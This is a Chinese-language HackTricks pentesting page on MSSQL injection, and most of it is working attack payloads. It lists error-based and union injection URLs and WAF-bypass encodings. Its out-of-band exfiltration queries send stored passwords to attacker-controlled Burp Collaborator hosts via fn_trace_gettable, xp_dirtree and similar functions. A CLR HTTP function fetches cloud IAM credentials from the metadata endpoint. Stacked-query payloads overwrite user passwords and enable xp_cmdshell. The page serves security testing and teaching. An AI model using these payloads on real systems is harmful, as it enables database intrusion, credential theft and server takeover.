hacktricks/pentesting-web/sql-injection/mssql-injection.md

13 KiB
Raw Blame History

MSSQL 注入

从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

Active Directory 枚举

通过在 MSSQL 服务器中进行 SQL 注入,可能可以使用以下 MSSQL 函数枚举域用户

  • SELECT DEFAULT_DOMAIN():获取当前域名。
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')):如果您知道域的名称(本例中的 DOMAIN),此函数将以十六进制格式返回用户 Administrator 的 SID。这将类似于 0x01050000000[...]0000f401,注意最后 4 个字节是数字 500大端格式,这是用户管理员常见的 ID
    此函数将允许您知道域的 ID(最后 4 个字节除外)。
  • SUSER_SNAME(0x01050000000[...]0000e803):此函数将返回指示 ID 的用户名(如果有的话),在这种情况下 0000e803 以大端 == 1000(通常这是第一个常规用户 ID 创建的 ID。然后你可以想象你可以从 1000 到 2000 暴力破解用户 ID并可能获得域用户的所有用户名。例如使用类似以下的函数
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

替代错误基向量

基于错误的SQL注入通常类似于+AND+1=@@version--这样的构造以及基于«OR»运算符的变体。包含此类表达式的查询通常会被WAFs阻止。作为绕过方法使用%2b字符与特定函数调用的结果连接字符串这些函数调用会在所需数据上触发数据类型转换错误。

这些函数的一些例子:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

使用函数USER_NAME()的示例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

权限: 需要服务器上的 VIEW SERVER STATE 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

权限: 需要 CONTROL SERVER 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

权限: 需要 CONTROL SERVER 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

您在使用MSSQL时最常见的进行网络调用的方法是使用存储过程xp_dirtree奇怪的是这个过程没有被Microsoft记录这导致它被互联网上的其他人记录。这种方法已经在互联网上的多个示例中使用,用于带外数据泄露的文章。

本质上,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
像MySQL的`LOAD_FILE`一样,你可以使用`xp_dirtree`发起网络请求到**仅限TCP端口445**。你无法控制端口号,但可以从网络共享中读取信息。

**PS**这在默认配置的`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`上运行于`Windows Server 2016 Datacenter`上时不起作用。

还有**其他**存储过程****[**如`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)或**`xp_subdirs`**可用于获得类似结果。

### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>

显然,你也可以使用**`xp_cmdshell`**来**执行**触发**SSRF**的操作。更多信息**阅读相关部分**在页面:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

编写**CLR UDF**Common Language Runtime 用户定义函数 - 使用任何**.NET**语言编写并编译成**DLL**)并**在MSSQL中加载自定义函数**相当直接。然而,这**需要`dbo`访问权限**所以除非Web应用程序连接到数据库**作为`sa`或管理员角色**,否则可能无法工作。

[这个Github仓库有Visual Studio项目和安装说明](https://github.com/infiniteloopltd/SQLHttp)用于将二进制文件加载到MSSQL作为CLR程序集然后从MSSQL内部调用HTTP GET请求。

`http.cs`代码使用`WebClient`类发出GET请求并获取指定的内容
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

在安装说明中,在执行 CREATE ASSEMBLY 查询之前,运行以下命令将程序集的 SHA512 哈希添加到服务器上的受信任程序集列表中(您可以使用 select * from sys.trusted_assemblies; 查看列表)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

一旦添加了程序集并创建了函数我们可以运行以下命令来发出我们的HTTP请求

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

快速利用:一次查询检索整个表

存在两种简单的方法可以一次查询检索表的全部内容 — 使用 FOR XML 或 FOR JSON 子句。FOR XML 子句需要指定模式如「raw」因此就简洁性而言FOR JSON 的表现更佳。

检索当前数据库的架构、表和列的查询:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

基于错误的向量需要一个别名或名称因为没有别名或名称的表达式的输出无法格式化为JSON。

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

检索当前查询

可以通过访问 sys.dm_exec_requestssys.dm_exec_sql_text 来检索当前正在执行的SQL查询

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

**权限:**如果用户在服务器上拥有 VIEW SERVER STATE 权限,用户将看到 SQL Server 实例上的所有执行会话;否则,用户只能看到当前会话。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

WAF 绕过的小技巧

非标准空白字符:%C2%85 或 %C2%A0

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学记数法0e和十六进制0x表示法用于混淆 UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

FROM 和列名之间使用句点而不是空格:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N 分隔符用于 SELECT 和一个无关紧要的列之间:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

使用非正统堆叠查询绕过WAF

根据这篇博客文章在MSSQL中可以不使用";"来堆叠查询:

例如,多个查询如下:

use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

可以简化为:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

因此有可能绕过不同的WAF因为它们没有考虑这种形式的堆叠查询。例如

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术

其他支持HackTricks的方式